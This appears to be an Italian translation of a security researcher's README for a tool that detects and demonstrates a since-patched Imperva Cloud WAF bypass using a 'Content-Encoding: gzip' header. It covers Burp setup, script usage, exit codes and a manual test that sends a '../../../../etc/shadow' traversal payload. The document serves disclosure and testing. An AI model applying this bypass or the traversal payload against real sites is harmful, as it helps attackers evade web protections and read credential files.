bishopfox/imperva_gzip_waf_bypassExploit per il bypass di Imperva Cloud WAF che utilizza l'header gzip Content-Encoding per eludere le regole WAF sulle richieste HTTP POST. Include uno script di rilevamento e passaggi di test manuali.
Imperva Cloud WAF era vulnerabile a un bypass che consente agli attaccanti di eludere le regole del WAF quando inviano payload HTTP POST dannosi, come exploit log4j, SQL injection, esecuzione di comandi, directory traversal, XXE, ecc.
Il team di Imperva ha preso la cosa molto seriamente dal momento in cui è stata segnalata e ha messo a punto una correzione globale in pochi giorni. Complimenti. Tutti i clienti di Cloud WAF sono stati automaticamente aggiornati a partire dal 22 dicembre 2021. È stato un piacere lavorare con Imperva, che dimostra chiaramente di avere un team di sicurezza maturo, competente e capace.
Aggiungi l'header Content-Encoding: gzip alle richieste HTTP POST. Lascia i dati POST così come sono. Non codificarli. Finché i primi quattro byte dell'header Content-Encoding sono gzip, nessuna regola del WAF verrà applicata alle richieste POST.
Puoi farlo in Burp usando la funzione Match & Replace del proxy:
Aggiungi un nuovo header in questo modo:
Tutto qui; sei a posto.
Esegui imperva_gzip.py contro un URL che supporta richieste POST in questo modo:
Sintassi:
./imperva_gzip.py [[-t] | [-r]] URL
Indovina il tipo di WAF per un dato URL:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
Controlla se il WAF è vulnerabile al bypass gzip:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
Se ricevi questo errore:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
allora prova a passare -r sulla riga di comando per abilitare la modalità rilassata. La modalità rilassata è disattivata per impostazione predefinita, il che significa che una richiesta POST deve ottenere una risposta HTTP 200 dal server. -r amplia le risposte accettabili a HTTP 2xx, 3xx.
I codici di uscita per imperva_gzip.py sono i seguenti:
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.
Invia tre richieste POST:
&test=../../../../../../../etc/shadow nel corpo, per verificare che Imperva la blocchiContent-Encoding: gzip alla stessa richiesta dannosa e verifica che Imperva non la blocchiSecondo https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding, ci sono quattro valori validi per l'header Content-Encoding:
compressdeflategzipbrNei test, solo gzip ha funzionato come bypass.
Cloud WAF è gestito da Imperva. Di conseguenza, gli aggiornamenti a Cloud WAF interessano quasi tutti i clienti quasi contemporaneamente. È stato corretto per tutti i clienti a partire dal 22 dicembre 2021.
Il bug del bypass gzip è stato corretto in un prodotto Imperva separato chiamato SecureSphere. Le note di rilascio per la v12.6 di SecureSphere contengono questo paragrafo:
SPHR-58185: Quando SecureSphere non riusciva a decomprimere il corpo POST nelle richieste con header "Content-Encoding: gzip/deflate", non emetteva alcun avviso e lasciava passare la richiesta.
Sono abbastanza sicuro che sia lo stesso bug, forse con la stessa origine del codice di Cloud WAF... è un bug piuttosto specifico per trovarsi in due prodotti. Il problema è stato risolto per SecureSphere a febbraio 2021, ma non sappiamo quando è stato introdotto. È possibile che la vulnerabilità sia rimasta lì per anni!
Supporto Clienti Imperva: https://www.imperva.com/support/technical-support/